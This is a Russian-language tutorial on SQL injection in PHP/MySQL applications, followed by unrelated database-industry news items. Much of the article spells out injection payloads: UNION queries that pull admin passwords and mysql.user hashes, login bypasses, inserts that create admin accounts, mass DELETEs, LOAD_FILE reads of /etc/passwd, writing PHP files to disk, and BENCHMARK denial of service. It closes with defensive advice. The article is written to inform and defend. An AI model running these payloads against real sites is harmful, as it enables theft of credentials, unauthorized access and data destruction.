Платный
хостинг от провайдера HostSpace.com.ua - хостинг, регистрация доменов.
Поддержка PHP, MySQL, почта - в каждом тарифном плане.
SQL инъекции
Небрежность и
невнимательность, вот две причины написания кода, уязвимого
для SQL инъекций. Третья причина - незнание, должна бы
побуждать программиста к углублению своих знаний или даже
изменения профессии.
SQL инъекция (SQL
injection) - уязвимость которая
возникает при недостаточной проверке и обработке
данных, которые передаются от пользователя, и
позволяет модифицировать и выполнять непредвиденные кодом
программы SQL запросы.
Инъекция SQL является широко
распространенным дефектом безопасности в Internet, что легко
используется без специальных программ и не требует глубоких
технических знаний.
Использование этой уязвимости дает
путь к большим возможностям: как то кража, подмена или
уничтожение данных, отказ в обслуживании, и т.д.
В этой
статье я попробую объяснить основные риски, которые возникают
при взаимодействии междуPHP и базой данных MySQL.
Для
наглядности приведу пример простой структуры базы данных,
которая является типичной для большинства
проектов:
CREATE DATABASE
news; USE news; # # таблица
новостей # CREATE TABLE news ( id int(11) NOT
NULL auto_increment, title varchar(50) default
NULL, date datetime default NULL, text
text, PRIMARY KEY (id) )
TYPE=MyISAM; # #добавляем некоторые
данные # INSERT INTO news (id,title,date,text)
VALUES (1,first news,2005-06-25 16:50:20,news
text); INSERT INTO news (id,title,date,text)
VALUES (2,second news,2005-06-24 12:12:33,test
news); # # таблица пользователей # CREATE TABLE
users ( id int(11) NOT NULL auto_increment, login
varchar(50) default NULL, password varchar(50) default
NULL, admin int(1) NULL DEFAULT 0, PRIMARY KEY
(id) ) TYPE=MyISAM; # # добавляем несколько
пользователей, одного с правами админа, другого
простого # INSERT INTO users
(id,login,password,admin) VALUES
(1,admin,qwerty,1); INSERT INTO users
(id,login,password,admin) VALUES
(2,user,1111,0);
А теперь образец PHP
кода:
<?php $link=mysql_connect("localhost","user","password"); mysql_select_db("sqltest",$link); if (!empty($_GET["id"]))
{ $query="SELECT * FROM
news WHERE id=".$_GET["id"]; $res=mysql_query($query,$link) or die(mysql_error($link)); } ?>
Видим,
что запрос формируется в зависимости от значения $_GET["id"].
Для проверки наличия уязвимости достаточно изменить его на
значение, которое может вызвать ошибку в выполнении SQL
запроса.
Конечно, вывода ошибок может и не быть, но
это не означает, что ошибки нет.
http://test.com/index.php?id=1
как результат
"You have an error in your SQL
syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near at line
1"
или
http://test.com/index.php?id=1qwerty
результат "Unknown
column 1qwerty in where clause"
запрос
http://test.com/index.php?id=2-1
при
наличии уязвимости должен выдать результат, аналогичный
http://test.com/index.php?id=1
Подобные
уязвимости позволяют модифицировать запрос в
части параметра WHERE.
Первое, что сделает
злоумышленник при обнаружении такой уязвимости - исследует,
какое количество полей используется в запросе. Для этого
задается заведомо неверный id, чтобы исключить вывод реальной
информации и объединяется с запросом с одинаковым количеством
пустых полей.
http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null
количество "null" должно соответствовать количеству
полей, которые используются в запросе.
Если запрос
выдает ошибку, добавляется еще одно пустое значение, до тех
пор пока не исчезнет ошибка и не будет получен результат с
пустыми данными. Далее объединенные поля заменяются на
значения, которые можно визуально наблюдать на
странице.
Например,
http://test.com/index.php?id=-1+UNION+SELECT+null,
теперь
на странице, где должен был быть показан заголовок новости,
будет красоваться qwerty.
версия
MySql http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null
http://test.com/index.php?id=-1+UNION+SELECT+null,USER(),null,null
http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null
логин
текущего пользователя базы данных http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null
имя используемой базы данных http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null
Получение данных из других таблиц:
SELECT * FROM news WHERE id=-1 UNION SELECT
null,password,null,null from userswhere
id=1 Вот таким нехитрым способом узнают пароль или
хэш пароля админа.
Если же текущий пользователь имеет
права доступа к базе "mysql", без малейших проблем
злоумышленник получит хэш пароля админа.
http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user
Теперь
его подбор это просто вопрос времени.
Поиск Поиск - одно из наиболее уязвимых
мест, поскольку одновременно передается большое количество
параметров запроса. Пример простого запроса, который выполняет
поиск по ключевому слову:
SELECT * FROM
news WHERE title LIKE %$search% OR text LIKE
%$search% $search - слово, которое передается с
формы.
Злоумышленник может передать в переменной
$search = # теперь запрос
будет выглядеть следующим образом:
SELECT
* FROM news WHERE title LIKE %#% OR text LIKE
%#% Соответственно вместо результатов поиска по
ключевому слову будут выданы все данные. Это также позволяет
использовать возможность объединения запросов, описанную
выше.
Использование параметра ORDER Часто
можно увидеть, что при введении параметров поиска, или выводе
информации дают возможность пользователю сортировать данные по
определенным полям. Скажу сразу, что использование данной
уязвимости не является слишком опасным, поскольку при попытке
объединения запросов вызовет ошибку, однако в паре с
уязвимостями в других полях есть опасность закомментирования
этого параметра.
http://test.com/index.php?sort=name
параметр
ORDER формируется в зависимости от переменной $sort
$search = /* $sort
= */
Будет сформирован
следующий запрос:
SELECT * FROM news
WHERE title LIKE %/*% OR text LIKE %/*% ORDER BY
*/тем самым закомментируется одно из условий и параметр
ORDER Теперь можно снова объединить запрос, присвоив
$sort=*/ UNION
SELECT....
Как вариант использования уязвимости
этого параметра:
SELECT * FROM users
ORDER BY LENGTH(password);Позволит отсортировать
пользователей в зависимости от длины пароля, при условии, что
он сохраняется в "чистом" виде.
Авторизация Попробуем теперь
рассмотреть варианты SQL инъекций, которые возникают при
авторизации пользователей. Как правило запрос, который
проверяет правильность данных авторизации выглядит следующим
образом:
SELECT * FROM users WHERE
login=$login AND password=$password; где
$login и $password это переменные, которые передаются с
формы.
Подобный запрос возвращает данные по
пользователю в случае успеха, а в случае неудачи пустой
результат.
Соответственно для того, чтобы пройти
авторизацию злоумышленнику достаточно модифицировать запрос
таким образом, чтобы он вернул ненулевой результат. Задается
логин, который соответствует реальному пользователю, а вместо
пароля указывается OR
1=1 Или какое-нибудь истинное условие
(1, a=a, 1<>2, 3>2, 1+1, ISNULL(NULL),
2 IN (0,1,2), 2 BETWEEN 1 AND 3)
Соответственно
запрос будет сформирован следующим образом:
SELECT * FROM users WHERE login=admin AND
password= OR 1=1;что вернет результат, а как
следствие, приведет к несанкционированной авторизации. А если
пароли в базе данных хэшированные? Тогда проверку пароля
просто "отключают", закомментировав все, что идет после
login. В форме вместо логина назначается логин реального
пользователя и # тем самым
закомментируется проверка пароля.
SELECT * FROM users WHERE login=admin# AND
password=12345
как вариант OR
id=2#
SELECT * FROM users WHERE
login= OR id=2# AND password=12345 Таким
образом можно пройти авторизацию без знания реального логина.
Случай с
SELECT * FROM users WHERE
login= OR admin=1# AND
password=12345позволяет пройти авторизацию с
правами админа.
Большой ошибкой является проверка
пароля следующим образом:
SELECT * FROM
users WHERE login=$login AND password
LIKE $passwordпоскольку в этом случае для любого
логина подойдет пароль %
INSERT & UPDATE Однако не только
SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми
могут оказаться INSERT и UPDATE.
Допустим, на сайте
есть возможность регистрации пользователей. Запрос, который
добавляет нового пользователя:
INSERT INTO
users (login, password,admin) VALUES
(юзер, пароль,0);Уязвимость одного из полей
позволяет модифицировать запрос с необходимыми данными.
В поле login добавляем юзер,
пароль, 1)#тем самым добавив пользователя с правами
админа.
INSERT INTO users (login,
password,admin) VALUES (юзер, пароль, 1)#
,пароль,0);Допустим, что поле admin находится перед
полем login, соответственно трюк с заменой данных, которые
идут после поля login не проходит. Вспоминаем, что синтаксис
команды INSERT позволяет добавлять не только одну строчку, а
несколько.
Пример уязвимости в поле login: $login=
юзер, пароль),(1,хакер,
пароль)#
INSERT INTO users
(admin,login, password) VALUES
(0,юзер, пароль),(1,хакер,
пароль)#,пароль);
Таким образом создается 2
записи, одна с правами простого пользователя, другая с
желаемыми правами админа.
Подобная ситуация и с
UPDATE
Добавление дополнительных полей для
изменения: $login=,
password=, admin=1 Тогда подобный
запрос
UPDATE users SET login=чайник
WHERE id=2; Модифицируется следующим
образом:
UPDATE users SET login=,
password=, admin=1 WHERE id=2; Что
произойдет? Пользователь с ID 2 изменит логин и пароль на
пустые значения и получит права админа.
Или в случае
$login = , password=
WHERE id =1#
Логин и пароль админа станут
пустыми.
DELETE тут все просто, никаких данных
получить или изменить не удастся, но удалить лишнее - всегда
пожалуйста. $id=1 OR
1=1 И запрос
DELETE FROM news
WHERE id=1 OR 1=1;почистит все записи в таблице.
Вместо 1=1 может быть любое истинное условие, про
которое говорилось выше. Может спасти параметр LIMIT, который
ограничит количество удаленных строк, но не всегда, его могут
просто закомментировать.
DELETE FROM
news WHERE id=1 OR 1=1# LIMIT 1;
Работа с файлами через
SQL-инъекции. Сильно сомневаюсь, что это где-то может
пройти, но справедливости ради нужно описать и такие способы.
При включенных привилегиях file можно использовать команды
LOAD_FILE и OUTFILE.
Про их опасность можно судить из
нижеприведенных запросов:
SELECT * FROM
news WHERE id=-1 union select
null,LOAD_FILE(/etc/passwd),null,null; SELECT * FROM
news WHERE id=-1 union
select null,LOAD_FILE(/home/test/www/dbconf.php),null,null;
Но
на этом все беды еще не заканчиваются.
SELECT * FROM news WHERE id=-1 union select
null,,null,null FROM news into outfile
/home/test/www/test.php; Вот так записываем
файл, который содержит php код. Правда кроме кода, в нем будет
еще несколько записей null но это никаким образом не повлияет
на работоспособность php кода.
Однако есть несколько
условий, благодаря которым эти способы сработают:
Включена привилегия FILE для текущего пользователя базы
данных;
Права на чтение или запись этих файлов для пользователя,
под которым запускается MySQL сервер
абсолютный путь к файлу; менее важное условие - размер
файла должен быть меньше чем max_allowed_packet, но поскольку
в MySQL 3.23 размер наибольшего пакета может быть 16 мБ, а
в 4.0.1 и более, размер пакета ограничивается только
количеством доступной памяти, вплоть до теоретического
максимума в 2 Гб это условие как правило всегда
доступно.
Magic quotes Магические кавычки делают
невозможным использование SQL инъекций в строковых переменных,
поскольку автоматически экранирует все та " Которые приходят
с $_GET та $_POST.
Но это не касается использования
уязвимостей в целых или дробных параметрах, правда с
поправкой, что нельзя будет использовать . В этом случае
помогает функция сhar.
SELECT * FROM
news WHERE id=-1 UNION
SELECT null,char(116,101,115,116),null,null;
DOS через SQL-инъекцию. Чуть не забыл
сказать, а знатоки SQL подтвердят, что операция UNION возможна
только в MySQL >=4.0.0. С облегчением вздохнули люди, у
которых проекты на предыдущих версиях :) Но не все так
безопасно, как выглядит на первый взгляд. Логику
злоумышленника иногда сложно проследить. "Не получится
взломать, так хоть завалю" подумает хацкер, набирая функцию
BENCHMARK для примера запрос
SELECT *
FROM news WHERE id=BENCHMARK(1000000,MD5(NOW()));
выполнялся у меня от 12 до 15 секунд. Добавив нолик
- 174 секунды. На большее у меня просто не поднялась
рука.
Конечно, на мощных серверах такие вещи будут
выполняться намного быстрее, но...BENCHMARK позволяет
вкладывать себя один в один.
Вот так:
SELECT * FROM news WHERE
id=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));
Или даже вот так
SELECT * FROM
news
WHERE id=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));
Да и количество нулей ограничено разве что
"добротой" того, кто их набирает.
Я думаюч то даже
ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие
запросы.
Итог На этом все. В этой стстье я
старался максимально охватить варианты уязвимостей, которые
допускают программисты при создании программ с использованием
баз данных MySQL. Однако я более чем уверен, что это
далеко не полный перечень. Поэтому важно
запомнить несколько правил:
Не доверяйте НИКАКИМ данным, которые
приходят от пользователя. Речь идет не только
о данных, которые передаются массивами $_GET и $_POST. Не
следует забывать про $_COOKIE и другие части HTTP-заголовков.
Следует помнить про те, что их легко подменить.
Не стоит надеяться на опцию PHP "magic
quotes" Которые наверно больше мешают чем
помогают. Все данные, которые передаются в базу данных должны
быть сведены по типам с полями базы данных. (
$id=(int)$_GET[id] ) или защищены функциями
mysql_escape_string или mysql_real_escape_string.
mysql_real_escape_string не экранирует
% и _, поэтому не стоит ее использовать в паре с
LIKE. Не стоит также сильно надеяться на правильно
написанный mod_rewrite. Это только способы для создания
"удобных" УРЛ-ов, но уж никак не способ защиты от
SQL-инъекций.
Отключите вывод информации об
ошибках. Не помагайте нехорошим посетителям.
Даже если ошибка будет выявлена, отсутствие информации о ней
серьезно затруднит ее применение. Помните про разницу между
стадией разработки и рабочим проектом. Вывод
ошибок и другой детальной информации - ваш союзник на
стадии разработки, и союзник злоумышленника в
рабочем варианте. Не стоит также прятать их, комментируя в
HTML коде, на 1000-чу посетителей найдется 1, который таки
найдет подобные вещи.
Обрабатывайте
ошибки. Напишите обработку SQL запросов таким
образом, чтобы информация о них сохранялась в каких-нибудь
логах или отсылалась по почте.
Не сохраняйте данные доступа к базе
данных в файлах, которые не обрабатываются PHP как
код. Думаю никому не открыл Америки, но по
собственному опыту могу сказать, что подобная практика
достаточно распространена. Как правило это файл с расширением
*.inc
Не создавайте "супер-пользователя" базы
данных. Предоставляйте только права,
необходимые для выполнения конкретных задач.
В поиске стоит ограничить минимальное и
максимальное количество символов, являющееся параметрами
запроса. Для честного пользователя вполне
достаточно от 3-х до 60-70 символов, чтобы удовлетворить свои
поисковые интересы, и одновременно вы предупреждаете ситуации,
когда поисковым запросом станет том "Войны и мира".
Всегда проверяйте количество
возвращенных записей после запроса Почти
на 90% сайтов, написанных на php встречается такая
логическая ошибка, особенно это можно наблюдать, когдаделается
запрос на основе полученного ID от пользователя, если руками
дать скрипту несуществующий ID - мы увидим достаточно
интересные результаты работы некоторых скриптов, вместо того
чтобы вернуть 404 программа в лучшем случае ничего не сделает
и выведет в браузер чистую страницу.
Безопасного вам SQL-я ;) Все описанное
в статье было выполнено в качестве эксперимента на тестовой
базе, владельцем которой является автор статьи. Никакие данные
других людей не были уничтожены или изменены.
Автор
статьи не несет никакой ответственности за использование
способов, описанных в данной статье, поскольку предполагалось,
что она была написана с целью информирования о уязвимостях
программ, написанных с использованием баз данных
MySql.
www.sdteam.com
БД 08-09-2006
SAP покупает компанию Visiprise 07-07-2008 БД Европейский производитель корпоративного программного обеспечения SAP планирует купить компанию Visiprise, занимающуюся созданием софта для корпоративного и производственного планирования. Сделка, финансовые условия которой не разглашаются, будет закрыта в июле этого года.После завершения покупки, все разработки Visiprise будут интегрированы в программное обеспечение SAP для автоматизации бизнес-процессов и комплексной интеграции производственных...
SAP занялась продажей индивидуальных лицензий 08-10-2007 БД SAP представила новый тип лицензии на программное обеспечение NetWeaver, используемое для автоматизации деятельности компаний. Новая лицензия представляет собой годовую подписку и ориентирована она на индивидуальных разработчиков.В компании говорят, что ранее SAP занималась лишь продажей лицензий компаниям, теперь индивидуальные пользователи смогут купить годовую лицензию. Для этого им необходимо будет присоединиться к сети SAP developer network ...
Oracle купила компанию Netsure Telecom 05-09-2007 БД Oracle сегодня сообщила о покупке компании Netsure Telecom Limited, производителя средств для обеспечения безопасности сетей, исследования данных в сетях и общего анализа корпоративных сетей.Основная задача программного обеспечения Netsure Teleocm - это комплексная диагностика критически важных крупных сетей. Среди клиентов купленной компании есть и крупнейшие операторы связи - Vodafone, Cable&Wireless, Eircom и ряд других.Компания Netsure являет...
Москву посетил Президент Oracle Чарльз Филлипс 19-08-2007 БД Сегодня в рамках московской пресс-конференции Президента Oracle Чарльза Филлипса было объявлено об итогах 30-летнего развития корпорации и ее продуктов, а также представлена глобальная стратегия Oracle.В программе четырехдневного визита руководителя Oracle в Москву и Санкт-Петербург - встречи с ключевыми клиентами и партнерами, эффективно использующими технологии и бизнес-приложения Oracle в России.По итогам 2007 финансового года, годовой доход O...
Вооруженные силы Грузии внедрили систему управления ресурсами SAP 13-07-2007 БД Специалисты украинского НИИ автоматизированных компьютерных систем «Экотех» (НИИ АКС «Экотех») совместно со специалистами главного исполнителя проекта – грузинской компании «UGT», при участии «SAP Украина», завершили этап создания Концептуального проекта по внедрению интегрированной системы управления ресурсами предприятия SAP ERP в Вооруженных Силах (ВС) Грузии.По словам министра обороны Грузии Давида Кезерашвили, прое...
Oracle представляет СУБД Oracle Database 11g 10-07-2007 БД Корпорация Oracle завтра представит новую версию своего основного и самого популярного продукта - СУБД Oracle Database 11g. Новая версия станет самым значимым обновлением системы управления базами данных за последние 4 года.Однако бума скачиваний и покупок новой версии вряд ли стоит ожидать. Дело в том, что СУБД, равно как и другие продукты Oracle, рассчитаны на корпоративный сектор, причем сектор довольно крупных компаний. Данный сегмент являетс... |